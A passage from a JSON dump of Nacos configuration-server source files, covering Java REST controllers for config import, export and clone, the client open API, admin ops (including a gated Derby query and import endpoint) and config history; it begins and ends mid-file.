unrecognizedItem.put(\"itemName\", item.getItemName());\n                unrecognizedList.add(unrecognizedItem);\n                return;\n            }\n            \n            String group = groupAdnDataId[0];\n            String dataId = groupAdnDataId[1];\n            String key = GroupKey.getKey(dataId, group);\n            // metadata does not contain config file\n            if (!metaDataKeys.contains(key)) {\n                Map<String, String> unrecognizedItem = new HashMap<>(2);\n                unrecognizedItem.put(\"itemName\", \"Item not found in metadata: \" + item.getItemName());\n                unrecognizedList.add(unrecognizedItem);\n                return;\n            }\n            String itemData = item.getItemData();\n            configContentMap.put(key, itemData);\n        });\n        \n        for (ConfigMetadata.ConfigExportItem configExportItem : configExportItems) {\n            String dataId = configExportItem.getDataId();\n            String group = configExportItem.getGroup();\n            String content = configContentMap.get(GroupKey.getKey(dataId, group));\n            // config file not in metadata\n            if (content == null) {\n                Map<String, String> unrecognizedItem = new HashMap<>(2);\n                unrecognizedItem.put(\"itemName\", \"Item not found in file: \" + group + \"/\" + dataId);\n                unrecognizedList.add(unrecognizedItem);\n                continue;\n            }\n            // encrypted\n            Pair<String, String> pair = EncryptionHandler.encryptHandler(dataId, content);\n            content = pair.getSecond();\n            \n            ConfigAllInfo ci = new ConfigAllInfo();\n            ci.setGroup(group);\n            ci.setDataId(dataId);\n            ci.setContent(content);\n            ci.setType(configExportItem.getType());\n            ci.setDesc(configExportItem.getDesc());\n            ci.setAppName(configExportItem.getAppName());\n            ci.setTenant(namespaceId);\n            ci.setEncryptedDataKey(pair.getFirst());\n            ci.setCreateUser(srcUser);\n            configInfoList.add(ci);\n        }\n        \n        return null;\n    }\n    \n    /**\n     * Export config add metadata.yml file record config metadata.\n     */\n    @GetMapping(\"/export\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public ResponseEntity<byte[]> exportConfig(ConfigFormV3 configForm,\n            @RequestParam(value = \"ids\", required = false) List<Long> ids) throws NacosApiException {\n        configForm.blurSearchValidate();\n        ids.removeAll(Collections.singleton(null));\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        List<ConfigAllInfo> dataList = configInfoPersistService.findAllConfigInfo4Export(configForm.getDataId(),\n                configForm.getGroupName(), namespaceId, configForm.getAppName(), ids);\n        List<ZipUtils.ZipItem> zipItemList = new ArrayList<>();\n        List<ConfigMetadata.ConfigExportItem> configMetadataItems = new ArrayList<>();\n        for (ConfigAllInfo ci : dataList) {\n            ConfigMetadata.ConfigExportItem configMetadataItem = new ConfigMetadata.ConfigExportItem();\n            configMetadataItem.setAppName(ci.getAppName());\n            configMetadataItem.setDataId(ci.getDataId());\n            configMetadataItem.setDesc(ci.getDesc());\n            configMetadataItem.setGroup(ci.getGroup());\n            configMetadataItem.setType(ci.getType());\n            configMetadataItems.add(configMetadataItem);\n            Pair<String, String> pair = EncryptionHandler.decryptHandler(ci.getDataId(), ci.getEncryptedDataKey(),\n                    ci.getContent());\n            String itemName = ci.getGroup() + Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR + ci.getDataId();\n            zipItemList.add(new ZipUtils.ZipItem(itemName, pair.getSecond()));\n        }\n        ConfigMetadata configMetadata = new ConfigMetadata();\n        configMetadata.setMetadata(configMetadataItems);\n        zipItemList.add(\n                new ZipUtils.ZipItem(Constants.CONFIG_EXPORT_METADATA_NEW, YamlParserUtil.dumpObject(configMetadata)));\n        HttpHeaders headers = new HttpHeaders();\n        String fileName =\n                EXPORT_CONFIG_FILE_NAME + DateFormatUtils.format(new Date(), EXPORT_CONFIG_FILE_NAME_DATE_FORMAT)\n                        + EXPORT_CONFIG_FILE_NAME_EXT;\n        headers.add(\"Content-Disposition\", \"attachment;filename=\" + fileName);\n        \n        return new ResponseEntity<>(ZipUtils.zip(zipItemList), headers, HttpStatus.OK);\n    }\n    \n    /**\n     * Execute clone config operation.\n     */\n    @PostMapping(\"/clone\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<Map<String, Object>> cloneConfig(HttpServletRequest request,\n            @RequestParam(value = \"src_user\", required = false) String srcUser,\n            @RequestParam(value = \"namespaceId\") String namespaceId, @RequestBody List<ConfigCloneInfo> cloneInfos,\n            @RequestParam(value = \"policy\", defaultValue = \"ABORT\") SameConfigPolicy policy) throws NacosException {\n        Map<String, Object> failedData = new HashMap<>(4);\n        if (CollectionUtils.isEmpty(cloneInfos)) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.NO_SELECTED_CONFIG, failedData);\n        }\n        cloneInfos.removeAll(Collections.singleton(null));\n        \n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        if (StringUtils.isNotBlank(namespaceId) && !NamespaceUtil.isDefaultNamespaceId(namespaceId)\n                && namespacePersistService.tenantInfoCountByTenantId(namespaceId) <= 0) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.NAMESPACE_NOT_EXIST, failedData);\n        }\n        \n        List<Long> idList = new ArrayList<>(cloneInfos.size());\n        Map<Long, ConfigCloneInfo> configBeansMap = cloneInfos.stream()\n                .collect(Collectors.toMap(ConfigCloneInfo::getConfigId, cfg -> {\n                    idList.add(cfg.getConfigId());\n                    return cfg;\n                }, (k1, k2) -> k1));\n        \n        List<ConfigAllInfo> queryedDataList = configInfoPersistService.findAllConfigInfo4Export(null, null, null, null,\n                idList);\n        \n        if (queryedDataList == null || queryedDataList.isEmpty()) {\n            failedData.put(\"succCount\", 0);\n            return Result.failure(ErrorCode.DATA_EMPTY, failedData);\n        }\n        \n        List<ConfigAllInfo> configInfoList4Clone = new ArrayList<>(queryedDataList.size());\n        \n        for (ConfigAllInfo ci : queryedDataList) {\n            ConfigCloneInfo paramBean = configBeansMap.get(ci.getId());\n            ConfigAllInfo ci4save = new ConfigAllInfo();\n            ci4save.setTenant(namespaceId);\n            ci4save.setType(ci.getType());\n            ci4save.setGroup((paramBean != null && StringUtils.isNotBlank(paramBean.getTargetGroupName()))\n                    ? paramBean.getTargetGroupName() : ci.getGroup());\n            ci4save.setDataId((paramBean != null && StringUtils.isNotBlank(paramBean.getTargetDataId()))\n                    ? paramBean.getTargetDataId() : ci.getDataId());\n            ci4save.setContent(ci.getContent());\n            if (StringUtils.isNotBlank(ci.getAppName())) {\n                ci4save.setAppName(ci.getAppName());\n            }\n            ci4save.setDesc(ci.getDesc());\n            ci4save.setEncryptedDataKey(\n                    ci.getEncryptedDataKey() == null ? StringUtils.EMPTY : ci.getEncryptedDataKey());\n            configInfoList4Clone.add(ci4save);\n        }\n        if (StringUtils.isBlank(srcUser)) {\n            srcUser = RequestUtil.getSrcUserName(request);\n        }\n        final String srcIp = getRemoteIp(request);\n        String requestIpApp = RequestUtil.getAppName(request);\n        final Timestamp time = TimeUtils.getCurrentTime();\n        Map<String, Object> saveResult = configInfoPersistService.batchInsertOrUpdate(configInfoList4Clone, srcUser,\n                srcIp, null, policy);\n        for (ConfigInfo configInfo : configInfoList4Clone) {\n            ConfigChangePublisher.notifyConfigChange(\n                    new ConfigDataChangeEvent(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(),\n                            time.getTime()));\n            ConfigTraceService.logPersistenceEvent(configInfo.getDataId(), configInfo.getGroup(),\n                    configInfo.getTenant(), requestIpApp, time.getTime(), InetUtils.getSelfIP(),\n                    ConfigTraceService.PERSISTENCE_EVENT, ConfigTraceService.PERSISTENCE_TYPE_PUB,\n                    configInfo.getContent());\n        }\n        \n        return Result.success(saveResult);\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/controller/v3/ConfigOpenApiController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigDefaultHttpParamExtractor;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.config.server.service.trace.ConfigTraceService;\nimport com.alibaba.nacos.core.context.RequestContext;\nimport com.alibaba.nacos.core.context.RequestContextHolder;\nimport com.alibaba.nacos.core.control.TpsControl;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLEncoder;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Objects;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.ENCODE_UTF8;\n\n/**\n * Nacos config module client used HTTP Open API controller.\n *\n * <p>\n * This open API is used for some program language which not support gRPC request and want to develop a application used\n * client to get remote configuration from Nacos. So this client used open API only provide specified feature API to get\n * specified configuration. Not support listen configuration with HTTP, please use gRPC request to listen\n * configuration.\n * </p>\n *\n * @author xiweng.yy\n */\n@RestController\n@RequestMapping(Constants.CONFIG_V3_CLIENT_API_PATH)\n@ExtractorManager.Extractor(httpExtractor = ConfigDefaultHttpParamExtractor.class)\npublic class ConfigOpenApiController {\n    \n    private final ConfigQueryChainService configQueryChainService;\n    \n    public ConfigOpenApiController(ConfigQueryChainService configQueryChainService) {\n        this.configQueryChainService = configQueryChainService;\n    }\n    \n    @GetMapping\n    @TpsControl(pointName = \"ConfigQuery\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.OPEN_API)\n    public Result<ConfigQueryResponse> getConfig(ConfigFormV3 configForm)\n            throws NacosApiException, UnsupportedEncodingException {\n        configForm.validate();\n        configForm.setNamespaceId(NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId()));\n        RequestContext requestContext = RequestContextHolder.getContext();\n        String sourceIp = requestContext.getBasicContext().getAddressContext().getSourceIp();\n        ConfigQueryChainRequest chainRequest = buildQueryChainRequest(configForm, sourceIp);\n        ConfigQueryChainResponse chainResponse = configQueryChainService.handle(chainRequest);\n        if (Objects.isNull(chainResponse.getContent())) {\n            traceQuery(configForm, chainResponse, requestContext, sourceIp, ConfigTraceService.PULL_TYPE_NOTFOUND);\n            return Result.failure(ErrorCode.RESOURCE_NOT_FOUND);\n        }\n        traceQuery(configForm, chainResponse, requestContext, sourceIp, ConfigTraceService.PULL_TYPE_OK);\n        return Result.success(transferToResult(chainResponse));\n    }\n    \n    private ConfigQueryChainRequest buildQueryChainRequest(ConfigFormV3 configForm, String sourceIp) {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setTenant(configForm.getNamespaceId());\n        request.setGroup(configForm.getGroup());\n        request.setDataId(configForm.getDataId());\n        Map<String, String> appLabels = new HashMap<>(4);\n        appLabels.put(BetaGrayRule.CLIENT_IP_LABEL, sourceIp);\n        request.setAppLabels(appLabels);\n        return request;\n    }\n    \n    private ConfigQueryResponse transferToResult(ConfigQueryChainResponse chainResponse)\n            throws UnsupportedEncodingException {\n        ConfigQueryResponse result = new ConfigQueryResponse();\n        result.setMd5(chainResponse.getMd5());\n        result.setEncryptedDataKey(chainResponse.getEncryptedDataKey());\n        result.setContent(chainResponse.getContent());\n        result.setContentType(chainResponse.getConfigType());\n        result.setLastModified(chainResponse.getLastModified());\n        // Check if there is a matched gray rule\n        if (chainResponse.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_GRAY) {\n            if (BetaGrayRule.TYPE_BETA.equals(chainResponse.getMatchedGray().getGrayRule().getType())) {\n                result.setBeta(true);\n            } else if (TagGrayRule.TYPE_TAG.equals(chainResponse.getMatchedGray().getGrayRule().getType())) {\n                result.setTag(URLEncoder.encode(chainResponse.getMatchedGray().getRawGrayRule(), ENCODE_UTF8));\n            }\n        }\n        return result;\n    }\n    \n    private void traceQuery(ConfigFormV3 configForm, ConfigQueryChainResponse chainResponse,\n            RequestContext requestContext, String sourceIp, String pullType) {\n        final long delayed = System.currentTimeMillis() - chainResponse.getLastModified();\n        ConfigTraceService.logPullEvent(configForm.getDataId(), configForm.getGroup(), configForm.getNamespaceId(),\n                requestContext.getBasicContext().getApp(), chainResponse.getLastModified(),\n                resolvePullEventType(chainResponse), pullType, delayed, sourceIp, false, \"http\");\n    }\n    \n    private String resolvePullEventType(ConfigQueryChainResponse chainResponse) {\n        if (Objects.requireNonNull(chainResponse.getStatus())\n                == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_GRAY) {\n            ConfigCacheGray matchedGray = chainResponse.getMatchedGray();\n            if (matchedGray != null) {\n                return ConfigTraceService.PULL_EVENT + \"-\" + matchedGray.getGrayName();\n            } else {\n                return ConfigTraceService.PULL_EVENT;\n            }\n        }\n        return ConfigTraceService.PULL_EVENT;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/controller/v3/ConfigOpsControllerV3.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.model.RestResult;\nimport com.alibaba.nacos.common.model.RestResultUtils;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.configuration.ConfigCommonConfig;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigDefaultHttpParamExtractor;\nimport com.alibaba.nacos.config.server.service.dump.DumpService;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.utils.WebUtils;\nimport com.alibaba.nacos.persistence.configuration.DatasourceConfiguration;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.persistence.datasource.LocalDataSourceServiceImpl;\nimport com.alibaba.nacos.persistence.model.event.DerbyImportEvent;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport com.alibaba.nacos.sys.utils.ApplicationUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.context.request.async.DeferredResult;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\n\n/**\n * Configuration ops management.\n *\n * @author Nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.OPS_CONTROLLER_V3_ADMIN_PATH)\n@ExtractorManager.Extractor(httpExtractor = ConfigDefaultHttpParamExtractor.class)\npublic class ConfigOpsControllerV3 {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigOpsControllerV3.class);\n    \n    private final DumpService dumpService;\n    \n    public ConfigOpsControllerV3(DumpService dumpService) {\n        this.dumpService = dumpService;\n    }\n    \n    /**\n     * Manually trigger dump of a local configuration file.\n     */\n    @PostMapping(value = \"/localCache\")\n    @Secured(resource = Constants.OPS_CONTROLLER_V3_ADMIN_PATH, action = ActionTypes.WRITE,\n            signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<String> updateLocalCacheFromStore() {\n        LOGGER.info(\"start to dump all data from store.\");\n        try {\n            dumpService.dumpAll();\n            return Result.success(\"Local cache updated from store successfully!\");\n        } catch (Exception e) {\n            LOGGER.error(\"[updateLocalCacheFromStore] \", e);\n            return Result.failure(ErrorCode.SERVER_ERROR.getCode(), \"Local cache updated from store failed!\", e.getMessage());\n        }\n    }\n    \n    @PutMapping(value = \"/log\")\n    @Secured(resource = Constants.OPS_CONTROLLER_V3_ADMIN_PATH, action = ActionTypes.WRITE,\n            signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<String> setLogLevel(@RequestParam String logName, @RequestParam String logLevel) {\n        try {\n            LogUtil.setLogLevel(logName, logLevel);\n            return Result.success(String.format(\"Log level updated successfully! Module: %s, Log Level: %s\", logName, logLevel));\n        } catch (Exception e) {\n            LOGGER.error(\"Failed to set log level for module {} to {}\", logName, logLevel, e);\n            return Result.failure(ErrorCode.SERVER_ERROR.getCode(), String.format(\"Failed to set log level for module %s to %s: %s\",\n                    logName, logLevel, e.getMessage()), null);\n        }\n    }\n    \n    /**\n     * Can only run select statements and is a direct query to the native Derby database without any additional logic.\n     *\n     * <p>\n     *     This API is used for maintainer of Nacos to do datasource management when using derby datasource.\n     *     So This API required ADMIN permission and need open switch `nacos.config.derby.ops.enabled=true`.\n     * </p>\n     *\n     * @param sql The query\n     * @return {@link RestResult}\n     */\n    @GetMapping(value = \"/derby\")\n    @Secured(resource = Constants.OPS_CONTROLLER_V3_ADMIN_PATH, action = ActionTypes.WRITE,\n            signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Object> derbyOps(@RequestParam(value = \"sql\") String sql) {\n        String selectSign = \"SELECT\";\n        String limitSign = \"ROWS FETCH NEXT\";\n        String limit = \" OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY\";\n        try {\n            if (!DatasourceConfiguration.isEmbeddedStorage()) {\n                return Result.failure(ErrorCode.SERVER_ERROR.getCode(), \"The current storage mode is not Derby\", null);\n            }\n            if (!ConfigCommonConfig.getInstance().isDerbyOpsEnabled()) {\n                return Result.failure(ErrorCode.SERVER_ERROR.getCode(),\n                        \"Derby ops is disabled, please set `nacos.config.derby.ops.enabled=true` to enabled this feature.\", null);\n            }\n            \n            LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource.getInstance()\n                    .getDataSource();\n            if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {\n                if (!StringUtils.containsIgnoreCase(sql, limitSign)) {\n                    sql += limit;\n                }\n                JdbcTemplate template = dataSourceService.getJdbcTemplate();\n                List<Map<String, Object>> result = template.queryForList(sql);\n                return Result.success(result);\n            }\n            return Result.failure(ErrorCode.SERVER_ERROR.getCode(), \"Only query statements are allowed to be executed\", null);\n        } catch (Exception e) {\n            LOGGER.error(\"Derby failed to execute sql: \" + sql);\n            return Result.failure(ErrorCode.SERVER_ERROR.getCode(), \"Failed to execute sql: \" + sql, null);\n        }\n    }\n    \n    /**\n     * Import Derby data from other Derby database.\n     *\n     * <p>mysqldump --defaults-file=\"XXX\" --host=0.0.0.0 --protocol=tcp --user=XXX --extended-insert=FALSE \\\n     * --complete-insert=TRUE \\ --skip-triggers --no-create-info --skip-column-statistics \"{SCHEMA}\" \"{TABLE_NAME}\"\n     *\n     * <p>\n     *     This API is used for maintainer of Nacos to do datasource management when using derby datasource.\n     *     So This API required ADMIN permission and need open switch `nacos.config.derby.ops.enabled=true`.\n     * </p>\n     *\n     * @param multipartFile {@link MultipartFile}\n     * @return {@link DeferredResult}\n     */\n    @PostMapping(value = \"/derby/import\")\n    @Secured(resource = Constants.OPS_CONTROLLER_V3_ADMIN_PATH, action = ActionTypes.WRITE,\n            signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public DeferredResult<Result<String>> importDerby(@RequestParam(value = \"file\") MultipartFile multipartFile) {\n        DeferredResult<RestResult<String>> response = new DeferredResult<>();\n        if (!DatasourceConfiguration.isEmbeddedStorage()) {\n            response.setResult(RestResultUtils.failed(\"Limited to embedded storage mode\"));\n            return convertToResult(response);\n        }\n        if (!ConfigCommonConfig.getInstance().isDerbyOpsEnabled()) {\n            response.setResult(RestResultUtils.failed(\n                    \"Derby ops is disabled, please set `nacos.config.derby.ops.enabled=true` to enabled this feature.\"));\n            return convertToResult(response);\n        }\n        DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);\n        WebUtils.onFileUpload(multipartFile, file -> {\n            NotifyCenter.publishEvent(new DerbyImportEvent(false));\n            databaseOperate.dataImport(file).whenComplete((result, ex) -> {\n                NotifyCenter.publishEvent(new DerbyImportEvent(true));\n                if (Objects.nonNull(ex)) {\n                    response.setResult(RestResultUtils.failed(ex.getMessage()));\n                    return;\n                }\n                response.setResult(result);\n            });\n        }, response);\n\n        return convertToResult(response);\n    }\n    \n    /**\n     * Ensure backward compatibility.\n     */\n    private DeferredResult<Result<String>> convertToResult(DeferredResult<RestResult<String>> restResult) {\n        DeferredResult<Result<String>> wrappedResponse = new DeferredResult<>();\n        restResult.onCompletion(() -> {\n            if (restResult.getResult() != null) {\n                RestResult<String> originalResult = (RestResult<String>) restResult.getResult();\n                Result<String> newResult = new Result<>(originalResult.getCode(), originalResult.getMessage(),\n                        originalResult.getData());\n                \n                wrappedResponse.setResult(newResult);\n            }\n        });\n        \n        return wrappedResponse;\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/controller/v3/HistoryControllerV3.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryDetailInfo;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigDefaultHttpParamExtractor;\nimport com.alibaba.nacos.config.server.service.HistoryService;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.config.server.utils.ResponseUtil;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport com.alibaba.nacos.plugin.auth.exception.AccessException;\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\n/**\n * History configuration management.\n *\n * @author Nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.HISTORY_ADMIN_V3_PATH)\n@ExtractorManager.Extractor(httpExtractor = ConfigDefaultHttpParamExtractor.class)\npublic class HistoryControllerV3 {\n    \n    private final HistoryService historyService;\n    \n    public HistoryControllerV3(HistoryService historyService) {\n        this.historyService = historyService;\n    }\n    \n    /**\n     * Query the list history config.\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<Page<ConfigHistoryBasicInfo>> listConfigHistory(ConfigFormV3 configForm, PageForm pageForm)\n            throws NacosApiException {\n        configForm.validate();\n        pageForm.validate();\n        int pageSize = Math.min(500, pageForm.getPageSize());\n        int pageNo = pageForm.getPageNo();\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        Page<ConfigHistoryInfo> configHistoryInfoPage = historyService.listConfigHistory(dataId, groupName, namespaceId,\n                pageNo, pageSize);\n        Page<ConfigHistoryBasicInfo> result = new Page<>();\n        result.setPagesAvailable(configHistoryInfoPage.getPagesAvailable());\n        result.setPageNumber(configHistoryInfoPage.getPageNumber());\n        result.setTotalCount(configHistoryInfoPage.getTotalCount());\n        result.setPageItems(\n                configHistoryInfoPage.getPageItems().stream().map(ResponseUtil::transferToConfigHistoryBasicInfo)\n                        .collect(Collectors.toList()));\n        return Result.success(result);\n    }\n    \n    /**\n     * Query the detailed configuration history information.\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<ConfigHistoryDetailInfo> getConfigHistoryInfo(ConfigFormV3 configForm, @RequestParam(\"nid\") Long nid)\n            throws AccessException, NacosApiException {\n        ConfigHistoryInfo configHistoryInfo;\n        configForm.validate();\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        try {\n            //fix issue #9783\n            namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n            configHistoryInfo = historyService.getConfigHistoryInfo(dataId, groupName, namespaceId, nid);\n        } catch (DataAccessException e) {\n            throw new NacosApiException(HttpStatus.NOT_FOUND.value(), ErrorCode.RESOURCE_NOT_FOUND,\n                    \"certain config history for nid = \" + nid + \" not exist\");\n        }\n        return Result.success(ResponseUtil.transferToConfigHistoryDetailInfo(configHistoryInfo));\n    }\n    \n    /**\n     * Query previous config history information.\n     */\n    @GetMapping(value = \"/previous\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<ConfigHistoryDetailInfo> getPreviousConfigHistoryInfo(ConfigFormV3 configForm,\n            @RequestParam(\"id\") Long id) throws AccessException, NacosApiException {\n        ConfigHistoryInfo configHistoryInfo;\n        configForm.validate();\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        try {\n            //fix issue #9783.\n            namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n            configHistoryInfo = historyService.getPreviousConfigHistoryInfo(dataId, groupName, namespaceId, id);\n        } catch (DataAccessException e) {\n            throw new NacosApiException(HttpStatus.NOT_FOUND.value(), ErrorCode.RESOURCE_NOT_FOUND,\n                    \"previous config history for id = \" + id + \" not exist\");\n        }\n        \n        return Result.success(ResponseUtil.transferToConfigHistoryDetailInfo(configHistoryInfo));\n    }\n    \n    /**\n     * Query configs list by namespace.\n     */\n    @GetMapping(value = \"/configs\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.ADMIN_API)\n    public Result<List<ConfigBasicInfo>> getConfigsByNamespace(@RequestParam(\"namespaceId\") String namespaceId)\n            throws NacosApiException {\n        // check namespaceId\n        ParamUtils.checkTenantV2(namespaceId);\n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        List<ConfigInfoWrapper> configListByNamespace = historyService.getConfigListByNamespace(namespaceId);\n        List<ConfigBasicInfo> result = 